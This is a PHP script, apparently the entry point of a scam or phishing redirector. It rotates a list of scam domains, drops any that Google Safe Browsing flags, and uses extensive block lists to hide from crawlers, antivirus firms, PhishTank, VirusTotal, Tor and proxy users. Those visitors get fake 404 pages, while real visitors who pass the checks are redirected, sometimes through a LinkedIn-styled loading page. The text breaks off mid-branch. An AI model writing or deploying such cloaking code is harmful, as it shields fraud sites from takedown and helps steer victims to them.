<?php
error_reporting();
require 'inc/Helper.php';
require 'inc/SafeBrowsing.php';
require_once 'inc/MobileDetect.php';
date_default_timezone_set('Asia/Jakarta');
$config = json_decode(file_get_contents("config.json"), 1);

$sbc = $config['safebrowsing_key'][rand(0, count($config['safebrowsing_key']) - 1)];
$ip = getUserIP();
//$ip = "139.0.141.25";
$hostname = get_hostname($ip);
$cek_locaton = check_location($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];

$getDomain = @file_get_contents($config['load_domain']) or die("List Domain Not Found");
$pecah = json_decode($getDomain, true);

$date = date('d/m/y H:i');

###########################################################
# SAFE HTTPS FETCH (AUTO FALLBACK)
###########################################################
function safe_get_https($url) {
    // --- Try file_get_contents first
    $context = stream_context_create([
        'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
    ]);
    $result = @file_get_contents($url, false, $context);

    // --- If failed, use cURL fallback
    if ($result === false || empty($result)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        $result = curl_exec($ch);
        curl_close($ch);
    }
    return $result;
}


######################################################################################################[CUSTOM BY ALEXAMP]
function blockUsers($ipAddresses,$myip) {
    $userOctets = explode('.', $myip); 
    $userOctetsCount = count($userOctets); 
    $block = false;
    foreach($ipAddresses as $ipAddress) { 
		$ipAddress = trim($ipAddress);
        $octets = explode('.', $ipAddress);
        if(count($octets) != $userOctetsCount) {
            continue;
        } 
        for($i = 0; $i < $userOctetsCount; $i++) {
            if($userOctets[$i] == $octets[$i] || $octets[$i] == '*') {
                continue;
            } else {
                break;
            }
        }
        if($i == $userOctetsCount) { // if we looked at every single octet and there is a match, we should block the user
            $block = true;
            break;
        }
    }
    return $block;
}
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL,"http://ip-api.com/json/$ip");
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION,true); 
curl_setopt($ch2, CURLOPT_ENCODING, 'gzip, deflate');
$result2z = curl_exec($ch2);
$ipok = json_decode($result2z,true);
$isp = $ipok['isp'];
$ipfiles = file_get_contents("list_ip.txt");
$barisip = explode("\n", $barisip);
$ispsip = strtoupper($isp);
$ispfiles = file_get_contents("list_isp.txt");
if(blockUsers($barisip,$ip)){
	$type = "DETECTED IP BOT BY TXT";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}
if(count(explode($ispsip,$ispfiles)) > 1){
	$type = "DETECTED ISP BOT BY TXT";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}
######################################################################################################[CUSTOM BY ALEXAMP]

## CHECK IF PUTAR SCAM
if ($config['putar_scam'] === true) {
	$random_nya = count($pecah['list']);
	$putaran = rand(0, --$random_nya);
	$domain_scamnya = $pecah['list'][$putaran];
} else {
	$domain_scamnya = $pecah['list'][0];
}

## REDFLAG DETECTION
$sf = new SafeBrowsingAPI($sbc);
$result = $sf->checkUrls($domain_scamnya);
if (isset($result['matches'])) {
	foreach ($result["matches"] as $match) {
		$url = $match["threat"]["url"];
		if (($key = array_search($url, $pecah['list'])) !== false) {
			$message = "[ALERT] Domain (" . str_replace(".", ",", $domain_scamnya) . ") Redflag detection.";
			discord($message);
			unset($pecah['list'][$key]);
			write($config['load_domain'], 'w+', json_encode(
				array(
					"list" => array_values($pecah['list'])
				)
			));
		}
	}
}

if ($config['putar_scam'] === true) {
	$random_nya = count($pecah['list']);
	$putaran = rand(0, --$random_nya);
	$domain_scamnya = $pecah['list'][$putaran];
} else {
	$domain_scamnya = $pecah['list'][0];
}

## CHECK WHITELIST
if (count($config['whitelist_ip']) > 0) {
	if (in_array($ip, $config['whitelist_ip'])) {
		$type = "WHITELIST IP";
		$message = "{$date}|VISITOR|{$type}|$ip|{$hostname}|{$cek_locaton}|{$domain_scamnya}" . PHP_EOL;
		write("access.txt", "a", $message);
		write($config['load_domain'], 'w+', json_encode(
			array(
				"list" => array_values($pecah['list'])
			)
		));

		redirect($domain_scamnya);
		exit();
	}
}

## ONE TIME ACCESS
if ($config['onetime_acc'] == true) {
	$contentz = file_get_contents("access.txt");
	$pecahz = explode(PHP_EOL, $contentz);
	if (count($pecahz) > 0) {
		foreach ($pecahz as $k) {
			$p = @explode("|", $k);
			if (stripos($p[2], $ip) !== false) {
				$type = "ONETIME ACCESS";
				$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
				write("access.txt", "a", $message);
				http_response_code(404);
				exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
			}
		}
	}
}

## CHECK IP BOT
if ($ip == "92.23.57.168" or $ip == "96.31.1.4") {
	$type = "DETECTED IP BOT";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}

# BLOCK BY USER AGENT #
$useragent = $_SERVER['HTTP_USER_AGENT'];
if ($useragent == "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)" || $useragent == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)") {
	$type = "DETECTED APPLEBOT";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}
if ($useragent == "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)") {
	$type = "DETECTED NET CLR BOT";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}
if (strpos($_SERVER['HTTP_USER_AGENT'], 'favicon') or strpos($_SERVER['HTTP_USER_AGENT'], 'Java') or strpos($_SERVER['HTTP_USER_AGENT'], 'FreeBSD') or strpos($_SERVER['HTTP_USER_AGENT'], 'msnbot') or strpos($_SERVER['HTTP_USER_AGENT'], 'Yahoo! Slurp') or strpos($_SERVER['HTTP_USER_AGENT'], 'YahooSeeker') or strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') or strpos($_SERVER['HTTP_USER_AGENT'], 'bingbot') or strpos($_SERVER['HTTP_USER_AGENT'], 'crawler') or strpos($_SERVER['HTTP_USER_AGENT'], 'PycURL') or strpos($_SERVER['HTTP_USER_AGENT'], 'facebookexternalhit') !== false) {
	$type = "DETECTED SPIDER BOT";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}

## CHECK WORD IN HOSTNAME | NYENDER ID
$file = safe_get_https("https://nyender.id/assets/json/host.json");
$decode = json_decode($file, true);
if (is_array($decode) && count($decode) > 0) {
    foreach ($decode as $host) {
        if (empty($hostname) || substr_count(strtolower($hostname), $host) > 0) {
            $type = "HOSTNAME BLOCKED (NYENDER)";
            $message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
            write("access.txt", "a", $message);
            http_response_code(404);
            exit("<html><head><title>Dedsec Server</title></head><body>Blocked.</body></html>");
        }
    }
} else {
    // Fallback kalau gagal ambil host.json
    error_log("[WARN] Failed to load host.json", 3, __DIR__."/fetch_error.log");
}


## CHECK WORD IN USER AGENT | NYENDER ID
$file = safe_get_https("https://nyender.id/assets/json/agent.json");
$decode = json_decode($file, true);
if (is_array($decode) && count($decode) > 0) {
    foreach ($decode as $useragentbot) {
        if (empty($_SERVER['HTTP_USER_AGENT']) || substr_count(strtolower($_SERVER['HTTP_USER_AGENT']), $useragentbot) > 0) {
            $type = "USERAGENT BLOCKED (NYENDER)";
            $message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
            write("access.txt", "a", $message);
            http_response_code(404);
            exit("<html><head><title>Dedsec Server</title></head><body>Blocked.</body></html>");
        }
    }
} else {
    error_log("[WARN] Failed to load agent.json", 3, __DIR__."/fetch_error.log");
}


## CHECK WORD IN USER AGENT
$Bot = array("abot", "dbot", "ebot", "hbot", "kbot", "lbot", "mbot", "nbot", "obot", "pbot", "rbot", "sbot", "tbot", "vbot", "ybot", "zbot", "bot.", "bot/", "_bot", ".bot", "/bot", "-bot", ":bot", "(bot", "crawl", "slurp", "spider", "seek", "avg", "avira", "bitdefender", "kaspersky", "sophos", "virustotal", "virus", "accoona", "acoon", "adressendeutschland", "ah-ha.com", "ahoy", "altavista", "ananzi", "anthill", "appie", "arachnophilia", "arale", "araneo", "aranha", "architext", "aretha", "arks", "asterias", "atlocal", "atn", "atomz", "augurfind", "backrub", "bannana_bot", "baypup", "bdfetch", "big brother", "biglotron", "bjaaland", "blackwidow", "blaiz", "blog", "blo.", "bloodhound", "boitho", "booch", "bradley", "butterfly", "calif", "cassandra", "ccubee", "cfetch", "charlotte", "churl", "cienciaficcion", "cmc", "collective", "comagent", "combine", "computingsite", "csci", "curl", "cusco", "daumoa", "deepindex", "delorie", "depspid", "deweb", "die blinde kuh", "digger", "ditto", "dmoz", "docomo", "download express", "dtaagent", "dwcp", "ebiness", "ebingbong", "e-collector", "ejupiter", "emacs-w3 search engine", "esther", "evliya celebi", "ezresult", "falcon", "felix ide", "ferret", "fetchrover", "fido", "findlinks", "fireball", "fish search", "fouineur", "funnelweb", "gazz", "gcreep", "genieknows", "getterroboplus", "geturl", "glx", "goforit", "golem", "grabber", "grapnel", "gralon", "griffon", "gromit", "grub", "gulliver", "hamahakki", "harvest", "havindex", "helix", "heritrix", "hku www octopus", "homerweb", "htdig", "html index", "html_analyzer", "htmlgobble", "hubater", "hyper-decontextualizer", "ia_archiver", "ibm_planetwide", "ichiro", "iconsurf", "iltrovatore", "image.kapsi.net", "imagelock", "incywincy", "indexer", "infobee", "informant", "ingrid", "inktomisearch.com", "inspector web", "intelliagent", "internet shinchakubin", "ip3000", "iron33", "israeli-search", "ivia", "jack", "jakarta", "javabee", "jetbot", "jumpstation", "katipo", "kdd-explorer", "kilroy", "knowledge", "kototoi", "kretrieve", "labelgrabber", "lachesis", "larbin", "legs", "libwww", "linkalarm", "link validator", "linkscan", "lockon", "lwp", "lycos", "magpie", "mantraagent", "mapoftheinternet", "marvin/", "mattie", "mediafox", "mediapartners", "mercator", "merzscope", "microsoft url control", "minirank", "miva", "mj12", "mnogosearch", "moget", "monster", "moose", "motor", "multitext", "muncher", "muscatferret", "mwd.search", "myweb", "najdi", "nameprotect", "nationaldirectory", "nazilla", "ncsa beta", "nec-meshexplorer", "nederland.zoek", "netcarta webmap engine", "netmechanic", "netresearchserver", "netscoop", "newscan-online", "nhse", "nokia6682/", "nomad", "noyona", "siteexplorer", "nutch", "nzexplorer", "objectssearch", "occam", "omni", "open text", "openfind", "openintelligencedata", "orb search", "osis-project", "pack rat", "pageboy", "pagebull", "page_verifier", "panscient", "parasite", "partnersite", "patric", "pear.", "pegasus", "peregrinator", "pgp key agent", "phantom", "phpdig", "picosearch", "piltdownman", "pimptrain", "pinpoint", "pioneer", "piranha", "plumtreewebaccessor", "pogodak", "poirot", "pompos", "poppelsdorf", "poppi", "popular iconoclast", "psycheclone", "publisher", "python", "rambler", "raven search", "roach", "road runner", "roadhouse", "robbie", "robofox", "robozilla", "rules", "salty", "sbider", "scooter", "scoutjet", "scrubby", "search.", "searchprocess", "semanticdiscovery", "senrigan", "sg-scout", "shai'hulud", "shark", "shopwiki", "sidewinder", "sift", "silk", "simmany", "site searcher", "site valet", "sitetech-rover", "skymob.com", "sleek", "smartwit", "sna-", "snappy", "snooper", "sohu", "speedfind", "sphere", "sphider", "spinner", "spyder", "steeler/", "suke", "suntek", "supersnooper", "surfnomore", "sven", "sygol", "szukacz", "tach black widow", "tarantula", "templeton", "/teoma", "t-h-u-n-d-e-r-s-t-o-n-e", "theophrastus", "titan", "titin", "tkwww", "toutatis", "t-rex", "tutorgig", "twiceler", "twisted", "ucsd", "udmsearch", "url check", "updated", "vagabondo", "valkyrie", "verticrawl", "victoria", "vision-search", "volcano", "voyager/", "voyager-hc", "w3c_validator", "w3m2", "w3mir", "walker", "wallpaper", "wanderer", "wauuu", "wavefire", "web core", "web hopper", "web wombat", "webbandit", "webcatcher", "webcopy", "webfoot", "weblayers", "weblinker", "weblog monitor", "webmirror", "webmonkey", "webquest", "webreaper", "websitepulse", "websnarf", "webstolperer", "webvac", "webwalk", "webwatch", "webwombat", "webzinger", "wget", "whizbang", "whowhere", "wild ferret", "worldlight", "wwwc", "wwwster", "xenu", "xget", "xift", "xirq", "yandex", "yanga", "yeti", "yodao", "zao/", "zippp", "zyborg", "proximic", "Googlebot", "Baiduspider", "Cliqzbot", "A6-Indexer", "AhrefsBot", "Genieo", "BomboraBot", "CCBot", "URLAppendBot", "DomainAppender", "msnbot-media", "Antivirus", "YoudaoBot", "MJ12bot", "linkdexbot", "Go-http-client", "presto", "BingPreview", "go-http-client", "go-http-client/1.1", "trident", "presto", "virustotal", "unchaos", "dreampassport", "sygol", "nutch", "privoxy", "zipcommander", "neofonie", "abacho", "acoi", "acoon", "adaxas", "agada", "aladin", "alkaline", "amibot", "anonymizer", "aplix", "aspseek", "avant", "baboom", "anzwers", "anzwerscrawl", "crawlconvera", "del.icio.us", "camehttps", "annotate", "wapproxy", "translate", "feedfetcher", "ask24", "asked", "askaboutoil", "fangcrawl", "amzn_assoc", "bingpreview", "dr.web", "drweb", "bilbo", "blackwidow", "sogou", "sogou-test-spider", "exabot", "externalhit", "ia_archiver", "mj12", "okhttp", "simplepie", "curl", "wget", "virus", "pipes", "antivirus", "python", "ruby", "avast", "firebird", "scmguard", "adsbot", "weblight", "favicon", "analytics", "insights", "headless", "github", "node", "agusescan", "zteopen");
foreach ($Bot as $BotType) {
	if (stripos($_SERVER['HTTP_USER_AGENT'], $BotType) !== false) {
		$type = "DETECTED SPIDERBOT";
		$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
		write("access.txt", "a", $message);
		http_response_code(404);
		exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
	}
}
$dp = strtolower($_SERVER['HTTP_USER_AGENT']);
$blocked_words = array("bot", "above", "google", "docomo", "mediapartners", "phantomjs", "lighthouse", "reverseshorturl", "samsung-sgh-e250", "softlayer", "amazonaws", "cyveillance", "crawler", "gsa-crawler", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver", "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker", "007ac9", "008", "Feedfetcher", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "EBAY", "CL0NA", "jabber", "ebay", "arabot", "hotmail!", "msn!", "baidu", "outlook!", "outlook", "msn", "duckduckbot", "hotmail", "go-http-client", "go-http-client/1.1", "trident", "presto", "virustotal", "unchaos", "dreampassport", "sygol", "nutch", "privoxy", "zipcommander", "neofonie", "abacho", "acoi", "acoon", "adaxas", "agada", "aladin", "alkaline", "amibot", "anonymizer", "aplix", "aspseek", "avant", "baboom", "anzwers", "anzwerscrawl", "crawlconvera", "del.icio.us", "camehttps", "annotate", "wapproxy", "translate", "feedfetcher", "ask24", "asked", "askaboutoil", "fangcrawl", "amzn_assoc", "bingpreview", "dr.web", "drweb", "bilbo", "blackwidow", "sogou", "sogou-test-spider", "exabot", "externalhit", "ia_archiver", "googletranslate", "translate", "proxy", "dalvik", "quicklook", "seamonkey", "sylera", "safebrowsing", "safesurfingwidget", "preview", "whatsapp", "telegram", "instagram", "zteopen", "icoreservice");
foreach ($blocked_words as $word2) {
	if (substr_count($dp, strtolower($word2)) > 0 or $dp == "" or $dp == " " or $dp == "    ") {
		$type = "DETECTED SPIDERBOT";
		$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
		write("access.txt", "a", $message);
		http_response_code(404);
		exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
	}
}

## CHECK BLOCKED ISP ARRAY
$banned_isp = array('Peak 10', 'Quasi Networks LTD', 'GoDaddy.com, LLC', 'Server Plan S.r.l.', 'Linode', 'PIPEX-BLOCK1', 'IPVanish', 'Cisco Systems', 'Tehnologii Budushego LLC', 'Eonix Corporation', 'hosttech GmbH', 'Wowrack.com', 'SunGard Availability Services LP', 'Internap Network Services Corporation', 'Palo Alto Networks', 'PlusNet Technologies Ltd', 'Scaleway', 'Facebook', 'Host1Plus', 'XO Communications', 'Nobis Technology Group', 'ExpressVPN', 'DME Hosting LLC', 'Prescient Software', 'Sungard Network Solutions', 'OVH SAS', 'Iomart Hosting Ltd', 'Hosting Solution', 'Barracuda Networks', 'Sungard Network Solutions', 'Solar VPS', 'PHPNET Hosting Services', 'DigitalOcean', 'Level 3 Communications', 'softlayer', 'SoftLayer Technologies', 'Complete Internet Access', 'london-tor.mooo.com', 'amazonaws', 'cyveillance', 'phishtank', 'tor.piratenpartei-nrw.de', 'cpanel66.proisp.no', 'tor-node.com', 'dreamhost', 'Involta', 'exit0.liskov.tor-relays.net', 'tor.tocici.com', 'netpilot', 'calyxinstitute', 'tor-exit', 'msnbot', 'p3pwgdsn', 'netcraft', 'University of Virginia', 'trendmicro', 'ebay', 'paypal', 'torservers', 'comodo', 'EGIHosting', 'ebbs.healingpathsolutions.com', 'healingpathsolutions.com', 'Solution Pro', 'Zayo Bandwidth', 'spider.clicktargetdevelopment.com', 'clicktargetdevelopment.com', 'static.spro.net', 'Digital Ocean', 'Internap Network Services Corporation', 'Blue Coat Systems', 'GANDI SAS', 'roamsite.com', 'PIPEX-BLOCK1', 'ColoUp', 'Westnet', 'The University of Tokyo', 'University', 'University of', 'QuadraNet', 'exit-01a.noisetor.net', 'noisetor.net', 'noisetor', 'vultr.com', 'Zscaler', 'Choopa', 'RedSwitches Pty', 'Quintex Alliance Consulting', 'www16.mailshell.com', 'this.is.a.tor.exit-node.net', 'this.is.a.tor.node.xmission.com', 'colocrossing.com', 'DedFiberCo', 'crawl', 'sucuri.net', 'crawler', 'proxy', 'enom', 'cloudflare', 'yahoo', 'trustwave', 'rima-tde.net', 'tfbnw.net', 'pacbell.net', 'tpnet.pl', 'ovh.net', 'centralnic', 'badware', 'phishing', 'antivirus', 'SiteAdvisor', 'McAfee', 'Bitdefender', 'avirasoft', 'phishtank.com', 'googleusercontent', 'OVH SAS', 'Yahoo', 'Yahoo! Inc.', 'Google', 'Google Inc.', 'GoDaddy', 'Amazon Technologies Inc.', 'Amazon', 'Top Level Hosting SRL', 'Twitter', 'Microsoft', 'Microsoft Corporation', 'OVH', 'VPSmalaysia.com.my', 'Madgenius.com', 'Barracuda Networks Inc.', 'Barracuda', 'SecuredConnectivity.net', 'Digital Domain', 'Hetzner Online', 'Akamai', 'SoftLayer', 'SURFnet', 'Creative Thought Inc.', 'Fastly', 'Return Path Inc.', 'WhatsApp', 'Instagram', 'Schulte Consulting LLC', 'Universidade Federal do Rio de Janeiro', 'Sectoor', 'Bitfolk', 'DIR A/S', 'Team Technologies LLC', 'Mainloop', 'Junk Email Filter Inc.', 'Art Matrix - Lightlink Inc.', 'Redpill Linpro AS', 'CloudFlare', 'ESET spol. s r.o.', 'AVAST Software s.r.o.', 'Dosarrest', 'Apple Inc.', 'Symantec', 'Mozilla', 'Netprotect SRL', 'Host Europe GmbH', 'Host Sailor Ltd.', 'PSINet Inc.', 'Daniel James Austin', 'RamNode', 'Hostalia', 'Xs4all Internet BV', 'Inktomi Corporation', 'Eircom Customer Assignment', '9New Network Inc', 'Sony', 'Private IP Address LAN', 'Computer Problem Solving', 'Fortinet', 'Avira', 'Rackspace', 'Baidu', 'Comodo', 'Incapsula Inc', 'Orange Polska Spolka Akcyjna', 'Infosphere', 'Private Customer', 'SurfControl', 'University of Newcastle upon Tyne', 'Total Server Solutions', 'LukMAN', 'eSecureData', 'Hosting', 'VI Na Host Co. Ltd', 'B2 Net Solutions', 'Master Internet', 'Global Perfomance', 'Fireeye', 'AntiVirus', 'Security', 'Intersoft Internet', 'Voxility', 'Linode', 'Internet-Pro', 'Trustwave Holdings Inc', 'Online SAS', 'Versaweb', 'Liquid Web', 'A100 ROW', 'Apexis AG', 'Apexis', 'LogicWeb', 'Virtual1 Limited', 'VNET a.s.', 'Static IP Assignment', 'TerraTransit AG', 'Merit Network', 'PathsConnect', 'Long Thrive', 'LG DACOM', 'Secure Internet', 'Kaspersky', 'UK Dedicated Servers Limited', 'Customer Network', 'Flokinet', 'Simpli Networks LLC', 'Psychz', 'PrivateSystems Networks', 'ScanSafe Services', 'CachedNet', 'CloudVPN', 'Spark New Zealand Trading Ltd', 'Whitelabel IT Solutions Corp', 'Hostwinds', 'Hosteros LLC', 'HostUS', 'Host', 'ClientID', 'Server', 'Oracle', 'Fortinet', 'Unus Inc.', 'Public facing services');
foreach ($banned_isp as $isps) {
	if (substr_count($hostname, $isps) > 0) {
		$type = "BLOCKED BY ISP";
		$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
		write("access.txt", "a", $message);
		http_response_code(404);
		exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
	}
}

## CHECK HOSTNAME BLOCKED WORD
$blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "msnbot", "p3pwgdsn", "netcraft", "trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler", "duckduck", "feedfetcher", "BitDefender", "mcafee", "antivirus", "cloudflare", "p3pwgdsn", "avg", "avira", "avast", "ovh.net", "security", "twitter", "bitdefender", "virustotal", "phising", "clamav", "baidu", "safebrowsing", "eset", "mailshell", "azure", "miniature", "tlh.ro", "aruba", "dyn.plus.net", "pagepeeker", "SPRO-NET-207-70-0", "SPRO-NET-209-19-128", "vultr", "colocrossing.com", "geosr", "drweb", "dr.web", "linode.com", "opendns", 'cymru.com', 'sl-reverse.com', 'surriel.com', 'hosting', 'orange-labs', 'speedtravel', 'metauri', 'apple.com', 'bruuk.sk', 'sysms.net', 'oracle', 'cisco', 'amuri.net', "versanet.de", "hilfe-veripayed.com");
foreach ($blocked_words as $word) {
	if (substr_count($hostname, $word) > 0) {
		$type = "BLOCKED HOSTNAME DETECTED";
		$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
		write("access.txt", "a", $message);
		http_response_code(404);
		exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
	}
}

$data = file_get_contents("https://blackbox.ipinfo.app/lookup/".$ip);
if (preg_match("/Y/", $data)) {
	$type = "BLOCKED PROXY DETECTED";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}

## CHECK PROXY
$urlproxy = file_get_contents("http://proxy.mind-media.com/block/proxycheck.php?ip=" . $ip);
if ($urlproxy == "Y") {
	$type = "BLOCKED PROXY DETECTED";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}

if (empty($pecah['list'])) {
	$type = "EMPTY SCAMPAGE";
	$message = "ERROR : {$type}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}

if (isset($_GET['i'])) {
	$code = trim($_GET['i']);
	$parameter = $config['parameter'];

	if ($code != $parameter) {
		$type = "BLOCKED WRONG PARAMETER";
		$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
		write("access.txt", "a", $message);
		http_response_code(404);
		exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
	} elseif ($config['blocker'] == 'antibot' and $config['antibot_key'] != '') {
		if (antibot($config['antibot_key'], $ip, $useragent)) {
			$type = "BLOCKED BY ANTIB0T";
			$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
			write("access.txt", "a", $message);
			http_response_code(404);
			exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
		} else {
			$type = "CHECKED BY ANTIB0T";
			$message = "{$date}|VISITOR|{$type}|$ip|{$hostname}|{$cek_locaton}|{$domain_scamnya}" . PHP_EOL;
			write("access.txt", "a", $message);
			write($config['load_domain'], 'w+', json_encode(
				array(
					"list" => array_values($pecah['list'])
				)
			));
			redirect($domain_scamnya);
			exit();
		}
	} elseif ($config['blocker'] == 'killbot' and $config['killbot_key'] != '') {
		if (killbot($config['killbot_key'], $ip, $useragent)) {
			$type = "BLOCKED BY KILLB0T";
			$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
			write("access.txt", "a", $message);
			http_response_code(404);
			exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
		} else {
			$type = "CHECKED BY KILLB0T.ORG";
			$message = "{$date}|VISITOR|{$type}|$ip|{$hostname}|{$cek_locaton}|{$domain_scamnya}" . PHP_EOL;
			write("access.txt", "a", $message);
			write($config['load_domain'], 'w+', json_encode(
				array(
					"list" => array_values($pecah['list'])
				)
			));
			redirect($domain_scamnya);
			exit();
		}
	} else {

		if ($config['lock_mobile'] === true) {
			$detect = new \Detection\MobileDetect;
			if (!$detect->isMobile()) {
				$type = "BLOCKED LOCK MOBILE";
				$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
				write("access.txt", "a", $message);
				http_response_code(404);
				exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
			}
		} elseif ($config['lock_country'] != false and $cek_locaton != $config['lock_country']) {
			$type = "BLOCKED LOCK COUNTRY";
			$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
			write("access.txt", "a", $message);
			http_response_code(404);
			exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
		} else {
			if ($config['method_redirect'] == 'loading') {
				$type = "HUMAN";
				$message = "{$date}|VISITOR|{$type}|$ip|{$hostname}|{$cek_locaton}|{$domain_scamnya}" . PHP_EOL;
				write("access.txt", "a", $message);
				write($config['load_domain'], 'w+', json_encode(
					array(
						"list" => array_values($pecah['list'])
					)
				));
				header('Refresh:3;url=' . $domain_scamnya);
				readfile("inc/template/loading.html");
			} elseif ($config['method_redirect'] == 'linkedin') {
				$type = "HUMAN";
				$message = "{$date}|VISITOR|{$type}|$ip|{$hostname}|{$cek_locaton}|{$domain_scamnya}" . PHP_EOL;
				write("access.txt", "a", $message);
				write($config['load_domain'], 'w+', json_encode(
					array(
						"list" => array_values($pecah['list'])
					)
				));
				header('Refresh:3;url=' . $domain_scamnya);
				readfile("inc/template/linkedin.html");
			} else {
				$type = "HUMAN";
				$message = "{$date}|VISITOR|{$type}|$ip|{$hostname}|{$cek_locaton}|{$domain_scamnya}" . PHP_EOL;
				write("access.txt", "a", $message);
				write($config['load_domain'], 'w+', json_encode(
					array(
						"list" => array_values($pecah['list'])
					)
				));
				redirect($domain_scamnya);
			}
		}
	}
} else {
	$type = "ACCESS WITHOUT PARAMETER";
	$message = "{$date}|BOT|{$type}|$ip|{$hostname}|{$cek_locaton}" . PHP_EOL;
	write("access.txt", "a", $message);
	http_response_code(404);
